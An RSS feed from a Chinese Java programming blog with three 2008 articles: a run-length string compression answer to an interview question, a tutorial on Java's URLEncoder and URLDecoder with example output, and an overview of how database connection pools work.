﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-semovy-文章分类-JAVA基础</title><link>http://www.blogjava.net/WshmAndLily/category/10972.html</link><description /><language>zh-cn</language><lastBuildDate>Thu, 24 Apr 2008 21:41:15 GMT</lastBuildDate><pubDate>Thu, 24 Apr 2008 21:41:15 GMT</pubDate><ttl>60</ttl><item><title>省空间去保存这个字符串</title><link>http://www.blogjava.net/WshmAndLily/articles/195624.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Thu, 24 Apr 2008 08:15:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/195624.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/195624.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/195624.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/195624.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/195624.html</trackback:ping><description><![CDATA[<p>package com.semovy.test;</p>
<p>&nbsp;</p>
<p>/*面试题<br />
&nbsp;* 一个字符串有N个从'a~z'用byte[N]表示，计划如何节省空间去保存这个字符串？<br />
&nbsp;*/<br />
public class StringTest {<br />
&nbsp;public static void main(String[] args) {<br />
&nbsp;&nbsp;String str = "XAAABBCCCFFGGTTTKKabccccddddeeefffggzzzeeseeeseaa";<br />
&nbsp;&nbsp;byte[] buf= str.getBytes();//题意<br />
&nbsp;&nbsp;//创建至少足够的二维存储器,元素第一索引放字符的asii,元素第二索引放字符的数目<br />
&nbsp;&nbsp;byte[][] nbuf = new byte[buf.length][2];<br />
&nbsp;&nbsp;int count = 0;//相间除重复之后的字母数目<br />
&nbsp;&nbsp;int flag = 0;//标志,0表示不重复,1表示重复<br />
&nbsp;&nbsp;for(int i=0;i&lt;buf.length;i++)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(i != buf.length-1 &amp;&amp; buf[i] == buf[i+1])//非最后一个并有重复时<br />
&nbsp;&nbsp;&nbsp;&nbsp;flag = 1;<br />
&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;flag = 0;<br />
&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;if(i== 0)//第一个直接接收<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;nbuf[0][0] = buf[i];<br />
&nbsp;&nbsp;&nbsp;&nbsp;nbuf[0][1] = 1;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if(flag == 0)//不重复<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;nbuf[count++][0] = buf[i];<br />
&nbsp;&nbsp;&nbsp;&nbsp;nbuf[count][1] = 1;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;else//重复<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;nbuf[count][0] = buf[i];<br />
&nbsp;&nbsp;&nbsp;&nbsp;nbuf[count][1] ++; <br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;//存储和显示&nbsp;&nbsp;<br />
&nbsp;&nbsp;StringBuffer sb = new StringBuffer();<br />
&nbsp;&nbsp;for(int i=0;i&lt;count;i++)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;sb.append(nbuf[i][1]);<br />
&nbsp;&nbsp;&nbsp;sb.append((char)nbuf[i][0]);<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;System.out.print(sb.toString());<br />
&nbsp;}<br />
}<br />
运行结果:<br />
<br />
1X3A2B3C2F2G3T2K1a1b4c4d3e3f2g3z2e1s3e1s1e2a</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/195624.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-04-24 16:15 <a href="http://www.blogjava.net/WshmAndLily/articles/195624.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>URLEncoder.encode(str,"编码") new URLDecoder().decode(str,"编码")</title><link>http://www.blogjava.net/WshmAndLily/articles/195459.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Thu, 24 Apr 2008 03:03:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/195459.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/195459.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/195459.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/195459.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/195459.html</trackback:ping><description><![CDATA[try&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String enUft = URLEncoder.encode("广东省福利彩票开奖信息网", "UTF-8");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(enUft); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.net.URLDecoder&nbsp;&nbsp; urlDecoder&nbsp;&nbsp; =&nbsp;&nbsp; new&nbsp;&nbsp; java.net.URLDecoder();&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp; s&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp;&nbsp; urlDecoder.decode(enUft,"UTF-8");&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(s);&nbsp;&nbsp; <br />
&nbsp;&nbsp;}&nbsp;&nbsp; catch&nbsp;&nbsp; (Exception&nbsp;&nbsp; e)&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;} <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;try&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String enUft = URLEncoder.encode("广东省福利彩票开奖信息网", "GB2312");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(enUft); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.net.URLDecoder&nbsp;&nbsp; urlDecoder&nbsp;&nbsp; =&nbsp;&nbsp; new&nbsp;&nbsp; java.net.URLDecoder();&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp; s&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp;&nbsp; urlDecoder.decode(enUft,"GB2312");&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(s);&nbsp;&nbsp; <br />
&nbsp;&nbsp;}&nbsp;&nbsp; catch&nbsp;&nbsp; (Exception&nbsp;&nbsp; e)&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;} <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;try&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String enUft = URLEncoder.encode("广东省福利彩票开奖信息网", "UTF-8");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(enUft); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.net.URLDecoder&nbsp;&nbsp; urlDecoder&nbsp;&nbsp; =&nbsp;&nbsp; new&nbsp;&nbsp; java.net.URLDecoder();&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp; s&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp;&nbsp; urlDecoder.decode(enUft,"GB2312");&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(s);&nbsp;&nbsp; <br />
&nbsp;&nbsp;}&nbsp;&nbsp; catch&nbsp;&nbsp; (Exception&nbsp;&nbsp; e)&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;} <br />
<br />
<br />
<br />
结果:<br />
<br />
%E5%B9%BF%E4%B8%9C%E7%9C%81%E7%A6%8F%E5%88%A9%E5%BD%A9%E7%A5%A8%E5%BC%80%E5%A5%96%E4%BF%A1%E6%81%AF%E7%BD%91<br />
广东省福利彩票开奖信息网<br />
%B9%E3%B6%AB%CA%A1%B8%A3%C0%FB%B2%CA%C6%B1%BF%AA%BD%B1%D0%C5%CF%A2%CD%F8<br />
广东省福利彩票开奖信息网<br />
%E5%B9%BF%E4%B8%9C%E7%9C%81%E7%A6%8F%E5%88%A9%E5%BD%A9%E7%A5%A8%E5%BC%80%E5%A5%96%E4%BF%A1%E6%81%AF%E7%BD%91<br />
骞夸?????绂???╁僵绁ㄥ??濂?淇℃??缃?<br />
<br />
<br />
<br />
<div class="cnt" id="blog_text">
<table class="FCK__ShowTableBorders" cellspacing="0" cellpadding="0" width="100%" border="0">
    <tbody>
        <tr>
            <td valign="top" align="left" width="509" height="86">/* <br />
            <br />
            &nbsp;&nbsp;&nbsp;&nbsp; 网页中的表单使用POST方法提交时，数据内容的类型是 application/x-www-form-urlencoded，这种类型会：
            <p>1.字符"a"-"z"，"A"-"Z"，"0"-"9"，"."，"-"，"*"，和"_" 都不会被编码;<br />
            2.将空格转换为加号 (+) ;<br />
            3.将非文本内容转换成"%xy"的形式,xy是<span class="commentform"><span class="postText">两位16进制的数值</span></span>;<br />
            4.在每个 name=value 对之间放置 &amp; 符号。<br />
            */</p>
            <p>&nbsp;&nbsp;&nbsp; URLEncoder类包含将字符串转换为application/x-www-form-urlencoded MIME 格式的静态方法。</p>
            <p><span class="postText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; web设计者面临的众多难题之一便是怎样处理不同操作系统间的差异性。这些差异性能引起URL方面的问题：例如，一些操作系统允许文件名中含有空格符，有些又不允许。大多数操作系统不会认为文件名中含有符号&#8220;#&#8221;会有什么特殊含义；但是在一个URL中，符号&#8220;#&#8221;表示该文件名已经结束，后面会紧跟一个fragment（部分）标识符。其他的特殊字符，非字母数字字符集，它们在URL或另一个操作系统上都有其特殊的含义，表述着相似的问题。为了解决这些问题，我们<span class="style1"><font color="#0000ff">在URL中使用的字符就必须是一个ASCII字符集的固定字集中的元素</font></span>，具体如下：<br />
            <br />
            1.大写字母A-Z<br />
            2.小写字母a-z<br />
            3.数字 0-9<br />
            4.标点符 - _ . ! ~ * ' (和 ,)<br />
            <br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 诸如字符: / &amp; ? @ # ; $ + = 和 %也可以被使用，但是它们各有其特殊的用途，如果一个文件名包括了这些字符（ / &amp; ? @ # ; $ + = %），这些字符和所有其他字符就应该被编码。<br />
            <br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 编码过程非常简单，任何字符只要不是ASCII码数字，字母，或者前面提到的标点符，它们都将被转换成字节形式，每个字节都写成这种形式：一个&#8220;%&#8221;后面跟着两位16进制的数值。空格是一个特殊情况，因为它们太平常了。它除了被编码成&#8220;%20&#8221;以外，还能编码为一个&#8220;+&#8221;。加号（+）本身被编码为%2B。当/ # = &amp; 和?作为名字的一部分来使用时，而不是作为URL部分之间的分隔符来使用时，它们都应该被编码。<br />
            <br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WARNING这种策略在存在大量字符集的异构环境中效果不甚理想。例如：在U.S. Windows 系统中, &#233; 被编码为 %E9. 在 U.S. Mac中被编码为%8E。这种不确定性的存在是现存的URI的一个明显的不足。所以在将来URI的规范当中应该通过国际资源标识符(IRIs)进行改善。<br />
            <br />
            </span></p>
            </td>
            <td valign="top" width="175">
            <div align="center"></div>
            </td>
        </tr>
    </tbody>
</table>
<p><span class="postText">&nbsp;&nbsp;&nbsp;&nbsp; 类URL并不自动执行编码或解码工作。你能生成一个URL对象，它可以包括非法的ASCII和非ASCII字符和/或%xx。当用方法getPath() 和toExternalForm( ) 作为输出方法时，这种字符和转移符不会自动编码或解码。你应对被用来生成一个URL对象的字符串对象负责，确保所有字符都会被恰当地编码。<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 幸运的是，java提供了一个类URLEncoder把string编码成这种形式。Java1.2增加了一个类URLDecoder它能以这种形式解码string。这两个类都不用初始化：<br />
public class URLDecoder extends Object<br />
public class URLEncoder extends Object<br />
<br />
<font color="#0000ff"><span class="style1">一、URLEncoder</span><br />
<br />
</font>&nbsp;&nbsp;&nbsp;&nbsp; 在java1.3和早期版本中，类java.net.URLEncoder包括一个简单的静态方法encode( )， 它对string以如下规则进行编码：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static String encode(String s)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 这个方法总是用它所在平台的默认编码形式，所以在不同系统上，它就会产生不同的结果。结果java1.4中，这个方法被另一种方法取代了。该方法要求你自己指定编码形式：<br />
<br />
public static String encode(String s, String encoding) throws UnsupportedEncodingException<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 两种关于编码的方法，都把任何非字母数字字符转换成%xx（除了空格，下划线(_)，连字符（?）,句号（。）,和星号（*））。两者也都编码所以的非ASCII字符。空格被转换成一个加号。这些方法有一点过分累赘了；它们也把&#8220;~&#8221;，&#8220;&#8216;&#8221;，&#8220;（）&#8221;转换成%xx，即使它们完全用不着这样做。尽管这样，但是这种转换并没被URL规范所禁止。所以web浏览器会自然地处理这些被过分编码后的URL。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 两中关于编码的方法都返回一个新的被编码后的string，java1.3的方法encode( ) 使用了平台的默认编码形式，得到%xx。这些编码形式典型的有：在 U.S. Unix 系统上的ISO-8859-1, 在U.S. Windows 系统上的Cp1252,在U.S. Macs上的MacRoman，和其他本地字符集等。因为编码解码过程都是与本地操作平台相关的，所以这些方法是令人不爽的，不能跨平台的。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这就明确地回答了为什么在java1.4中这种方法被抛弃了，转而投向了要求以自己指定编码形式的这种方法。尽管如此，如果你执意要使用所在平台的默认编码形式，你的程序将会像在java1.3中的程序一样，是本地平台相关的。在另一种编码的方法中，你应该总是用UTF-8，而不是其他什么。UTF-8比起你选的其他的编码形式来说，它能与新的web浏览器和更多的其他软件相兼容。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 例子7-8是使用URLEncoder.encode( ) 来打印输出各种被编码后的string。它需要在java1.4或更新的版本中编译和运行。<br />
<br />
Example 7-8. x-www-form-urlencoded strings <br />
</span>
<p><span class="postText">下面就是它的输出。需要注意的是这些代码应该以其他编码形式被保存而不是以ASCII码的形式，还有就是你选择的编码形式应该作为一个参数传给编译器，让编译器能据此对源代码中的非ASCII字符作出正确的解释。<br />
<br />
% javac -encoding UTF8 EncoderTest % <br />
<br />
java EncoderTest<br />
This+string+has+spaces<br />
This*string*has*asterisks<br />
This%25string%25has%25percent%25signs<br />
This%2Bstring%2Bhas%2Bpluses<br />
This%2Fstring%2Fhas%2Fslashes<br />
This%22string%22has%22quote%22marks<br />
This%3Astring%3Ahas%3Acolons<br />
This%7Estring%7Ehas%7Etildes<br />
This%28string%29has%28parentheses%29<br />
This.string.has.periods<br />
This%3Dstring%3Dhas%3Dequals%3Dsigns<br />
This%26string%26has%26ampersands<br />
This%C3%A9string%C3%A9has%C3%A9non-ASCII+characters<br />
<br />
特别需要注意的是这个方法编码了符号，&#8220;\&#8221; ,&amp;,=,和：。它不会尝试着去规定在一个URL中这些字符怎样被使用。由此，所以你不得不分块编码你的URL,而不是把整个URL一次传给这个方法。这是很重要的，因为对类URLEncoder最通常的用法就是查询string，为了和服务器端使用GET方法的程序进行交互。例如，假设你想编码这个查询sting，它用来搜索AltaVista网站：<br />
pg=q&amp;kl=XX&amp;stype=stext&amp;q=+"Java+I/O"&amp;search.x=38&amp;search.y=3<br />
<br />
这段代码对其进行编码：<br />
String query = URLEncoder.encode( "pg=q&amp;kl=XX&amp;stype=stext&amp;q=+\"Java+I/O\"&amp;search.x=38&amp;search.y=3");System.out.println(query);<br />
<br />
不幸的是，得到的输出是:<br />
pg%3Dq%26kl%3DXX%26stype%3Dstext%26q%3D%2B%22Java%2BI%2FO%22%26search.x%3D38%26search.y%3D3<br />
<br />
出现这个问题就是方法URLEncoder.encode( ) 在进行盲目地编码。它不能区分在URL或者查询string中被用到的特殊字符（象前面string中的&#8220;＝&#8221;，和&#8220;&amp;&#8221;）和确实需要被编码的字符。由此，所以URL需要像下面这样一次只编码一块：<br />
<br />
String query = URLEncoder.encode("pg");<br />
query += "=";<br />
query += URLEncoder.encode("q");<br />
query += "&amp;";<br />
query += URLEncoder.encode("kl");<br />
query += "=";<br />
query += URLEncoder.encode("XX");<br />
query += "&amp;";<br />
query += URLEncoder.encode("stype");<br />
query += "=";<br />
query += URLEncoder.encode("stext");<br />
query += "&amp;";<br />
query += URLEncoder.encode("q");<br />
query += "=";<br />
query += URLEncoder.encode("\"Java I/O\"");<br />
query += "&amp;";<br />
query += URLEncoder.encode("search.x");<br />
query += "=";<br />
query += URLEncoder.encode("38");<br />
query += "&amp;";<br />
query += URLEncoder.encode("search.y");<br />
query += "=";<br />
query += URLEncoder.encode("3");<br />
System.out.println(query);<br />
<br />
这才是你真正想得到的输出：<br />
pg=q&amp;kl=XX&amp;stype=stext&amp;q=%2B%22Java+I%2FO%22&amp;search.x=38&amp;search.y=3<br />
<br />
例子7-9是一个QueryString类。在一个java对象中，它使用了类URLEncoder来编码连续的属性名和属性值对，这个java对象被用来发送数据到服务器端的程序。<br />
<br />
当你在创建一个QueryString对象时，你可以把查询string中的第一个属性对传递给类QueryString的构造函数，得到初始string。如果要继续加入后面的属性对，就应调用方法add（），它也能接受两个string作为参数，能对它们进行编码。方法getQuery( )返回一个属性对被逐个编码后得到的整个string。<br />
<br />
Example 7-9. -The QueryString class<br />
package com.macfaq.net;<br />
<br />
import java.net.URLEncoder;<br />
import java.io.UnsupportedEncodingException;<br />
<br />
public class QueryString {<br />
&nbsp;&nbsp; private StringBuffer query = new StringBuffer();<br />
<br />
public QueryString(String name, String value) { <br />
&nbsp;&nbsp; encode(name, value);<br />
}<br />
<br />
public synchronized void add(String name, String value) {<br />
&nbsp;&nbsp; query.append('&amp;');<br />
&nbsp;&nbsp; encode(name, value);<br />
}<br />
<br />
private synchronized void encode(String name, String value) {<br />
&nbsp;&nbsp; try {<br />
&nbsp;&nbsp;&nbsp;&nbsp; query.append(URLEncoder.encode(name, "UTF-8"));<br />
&nbsp;&nbsp;&nbsp;&nbsp; query.append('=');<br />
&nbsp;&nbsp;&nbsp;&nbsp; query.append(URLEncoder.encode(value, "UTF-8"));<br />
} catch (UnsupportedEncodingException ex) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new RuntimeException("Broken VM does not support UTF-8");<br />
}<br />
}<br />
<br />
public String getQuery() {<br />
&nbsp;&nbsp; return query.toString();<br />
}<br />
<br />
public String toString() {<br />
&nbsp;&nbsp; return getQuery();<br />
}<br />
}<br />
<br />
利用这个类，现在我们就能对前面那个例子中的string进行编码了:<br />
QueryString qs = new QueryString("pg", "q");<br />
qs.add("kl", "XX");<br />
qs.add("stype", "stext");<br />
qs.add("q", "+\"Java I/O\"");<br />
qs.add("search.x", "38");<br />
qs.add("search.y", "3");<br />
String url = "<a href='http://www.altavista.com/cgi-bin/query?"' target="_blank" href_cetemp='http://www.altavista.com/cgi-bin/query?"'><font color="#909d73">http://www.altavista.com/cgi-bin/query?"</font></a> + qs;<br />
System.out.println(url);<br />
<br />
<font color="#0000ff"><span class="style1">二、URLDecoder</span><br />
</font>&nbsp;&nbsp;&nbsp;&nbsp; 与URLEncoder 类相对应的URLDecoder 类有两种静态方法。它们解码以x-www-form-url-encoded这种形式编码的string。也就是说，它们把所有的加号（+）转换成空格符，把所有的%xx分别转换成与之相对应的字符：<br />
public static String decode(String s) throws Exception<br />
public static String decode(String s, String encoding) // Java 1.4 throws UnsupportedEncodingException<br />
<br />
第一种解码方法在java1.3和java1.2中使用。第二种解码方法在java1.4和更新的版本中使用。如果你拿不定主意用哪种编码方式，那就选择UTF-8吧。它比其他任何的编码形式更有可能得到正确的结果。<br />
<br />
如果string包含了一个&#8220;%&#8221;，但紧跟其后的不是两位16进制的数或者被解码成非法序列，该方法就会抛出IllegalArgumentException 异常。当下次再出现这种情况时，它可能就不会被抛出了。这是与运行环境相关的，当检查到有非法序列时，抛不抛出IllegalArgumentException 异常，这时到底会发生什么是不确定的。在Sun's JDK 1.4中，不会抛出什么异常，它会把一些莫名其妙的字节加进不能被顺利编码的string中。这的确令人头疼，可能就是一个安全漏洞。<br />
<br />
由于这个方法没有触及到非转义字符，所以你可以把整个URL作为参数传给该方法，不用像之前那样分块进行。例如：<br />
String input = "<a href="http://www.altavista.com/cgi-bin/%22" target="_blank"><font color="#909d73">http://www.altavista.com/cgi-bin/"</font></a> + "query?pg=q&amp;kl=XX&amp;stype=stext&amp;q=%2B%22Java+I%2FO%22&amp;search.x=38&amp;search.y=3"; <br />
try { <br />
&nbsp;&nbsp; String output = URLDecoder.decode(input, "UTF-8"); <br />
&nbsp;&nbsp; System.out.println(output); <br />
}</span></p>
<p>&nbsp;</p>
<pre>import java.net.URLEncoder;
import java.net.URLDecoder;
import java.io.UnsupportedEncodingException;
public class EncoderTest {
public static void main(String[] args) {
try {
System.out.println(URLEncoder.encode("This string has spaces","UTF-8"));
System.out.println(URLEncoder.encode("This*string*has*asterisks","UTF-8"));
System.out.println(URLEncoder.encode("This%string%has%percent%signs", "UTF-8"));
System.out.println(URLEncoder.encode("This+string+has+pluses","UTF-8"));
System.out.println(URLEncoder.encode("This/string/has/slashes","UTF-8"));
System.out.println(URLEncoder.encode("This\"string\"has\"quote\"marks", "UTF-8"));
System.out.println(URLEncoder.encode("This:string:has:colons","UTF-8"));
System.out.println(URLEncoder.encode("This~string~has~tildes","UTF-8"));
System.out.println(URLEncoder.encode("This(string)has(parentheses)", "UTF-8"));
System.out.println(URLEncoder.encode("This.string.has.periods","UTF-8"));
System.out.println(URLEncoder.encode("This=string=has=equals=signs", "UTF-8"));
System.out.println(URLEncoder.encode("This&amp;string&amp;has&amp;ersands","UTF-8"));
System.out.println(URLEncoder.encode("This&#233;string&#233;has&#233; non-ASCII characters","UTF-8"));
// System.out.println(URLEncoder.encode("this中华人民共和国","UTF-8"));
} catch (UnsupportedEncodingException ex) {throw new RuntimeException("Broken VM does not support UTF-8");
}
}
}</pre>
</div>
<br />
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/195459.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-04-24 11:03 <a href="http://www.blogjava.net/WshmAndLily/articles/195459.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java连接池</title><link>http://www.blogjava.net/WshmAndLily/articles/195374.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Thu, 24 Apr 2008 01:35:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/195374.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/195374.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/195374.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/195374.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/195374.html</trackback:ping><description><![CDATA[连接池的基本工作原理
<p>　　1、基本概念及原理</p>
<p>　　由上面的分析可以看出，问题的根源就在于对数据库连接资源的低效管理。我们知道，对于共享资源，有一个很著名的设计模式：资源池(Resource Pool)。该模式正是为了解决资源的频繁分配?释放所造成的问题。为解决上述问题，可以采用数据库连接池技术。数据库连接池的基本思想就是为数据库连接建立一个&#8220;缓冲池&#8221;。预先在缓冲池中放入一定数量的连接，当需要建立数据库连接时，只需从&#8220;缓冲池&#8221;中取出一个，使用完毕之后再放回去。我们可以通过设定连接池最大连接数来防止系统无尽的与数据库连接。更为重要的是我们可以通过连接池的管理机制监视数据库的连接的数量?使用情况，为系统开发?测试及性能调整提供依据。</p>
<p>　　2、服务器自带的连接池</p>
<p>　　JDBC的API中没有提供连接池的方法。一些大型的WEB应用服务器如BEA的WebLogic和IBM的WebSphere等提供了连接池的机制，但是必须有其第三方的专用类方法支持连接池的用法。</p>
<p>　　连接池关键问题分析</p>
<p>　　1、并发问题</p>
<p>　　为了使连接管理服务具有最大的通用性，必须考虑多线程环境，即并发问题。这个问题相对比较好解决，因为Java语言自身提供了对并发管理的支持，使用synchronized关键字即可确保线程是同步的。使用方法为直接在类方法前面加上synchronized关键字，如：</p>
<p>　　public synchronized Connection getConnection()</p>
<p>　　2、多数据库服务器和多用户</p>
<p>　　对于大型的企业级应用，常常需要同时连接不同的数据库(如连接Oracle和Sybase)。如何连接不同的数据库呢?我们采用的策略是：设计一个符合单例模式的连接池管理类，在连接池管理类的唯一实例被创建时读取一个资源文件，其中资源文件中存放着多个数据库的url地址()?用户名()?密码()等信息。如tx.url=172.21.15.123：5000/tx_it，tx.user=yang，tx.password=yang321。根据资源文件提供的信息，创建多个连接池类的实例，每一个实例都是一个特定数据库的连接池。连接池管理类实例为每个连接池实例取一个名字，通过不同的名字来管理不同的连接池。</p>
<p>　　对于同一个数据库有多个用户使用不同的名称和密码访问的情况，也可以通过资源文件处理，即在资源文件中设置多个具有相同url地址，但具有不同用户名和密码的数据库连接信息。</p>
<p>　　3、事务处理</p>
<p>　　我们知道，事务具有原子性，此时要求对数据库的操作符合&#8220;ALL-ALL-NOTHING&#8221;原则,即对于一组SQL语句要么全做，要么全不做。</p>
<p>　　在Java语言中，Connection类本身提供了对事务的支持，可以通过设置Connection的AutoCommit属性为false,然后显式的调用commit或rollback方法来实现。但要高效的进行Connection复用，就必须提供相应的事务支持机制。可采用每一个事务独占一个连接来实现，这种方法可以大大降低事务管理的复杂性。</p>
<p>　　4、连接池的分配与释放</p>
<p>　　连接池的分配与释放，对系统的性能有很大的影响。合理的分配与释放，可以提高连接的复用度，从而降低建立新连接的开销，同时还可以加快用户的访问速度。</p>
